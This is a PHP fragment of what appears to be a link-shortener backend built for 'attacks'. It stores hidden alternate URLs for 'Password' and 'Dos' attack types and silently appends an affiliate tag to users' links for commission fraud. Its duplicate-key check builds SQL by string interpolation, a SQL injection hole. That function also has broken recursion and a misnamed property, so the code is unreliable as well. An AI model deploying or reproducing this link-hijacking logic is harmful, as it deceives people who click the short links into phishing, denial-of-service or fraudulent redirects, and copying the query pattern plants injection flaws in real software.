//// More headers //$headers .= 'From: <*****@*****.**>' . "\r\n"; //mail($address,$subject,$message,$headers); // echo $useraddress; // //$userlink = "http://stme.esy.es/".$key."/get.php"; // //openssl_private_encrypt($userlink, $encrypted, $privkey); //$userlink = $encrypted; // // createFolderAndFile($key); //mail($useraddress,$subject,$privatemessage,$headers); // //} $key = generateKey(6, $key); $key = checkForDuplicateKeys($key, $conn); createFolderAndFile($key); $userlink = "http://stme.esy.es/" . $key; //Selecting which data to store according to different attacks if ($typeOfAttack == "Password" || $typeOfAttack == "Dos") { $illlonglink = $_POST['illurlink']; $_SESSION['illlonglink'] = $illlonglink; addDataToDatabase($key, $longlink, $conn); addDataToDatabase($key, $illlonglink, $conn); } else { if ($typeOfAttack == "Affliate") { $textToInsert = "&tag=socialexperim-20"; $newLongLink = $longlink . $textToInsert; $key = checkForDuplicateLinks($longlink, $conn); if (is_null($key) === TRUE) { addDataToDatabase($key, $newLongLink, $conn);
function checkForDuplicateKeys($key, $conn) { $check = "SELECT * FROM DATA WHERE shortlink='{$key}'"; $result = $conn->query($check); if ($result->numrows > 0) { $key = generateKey(6, $key); checkForDuplicateKeys($key, $conn); } else { return $key; } }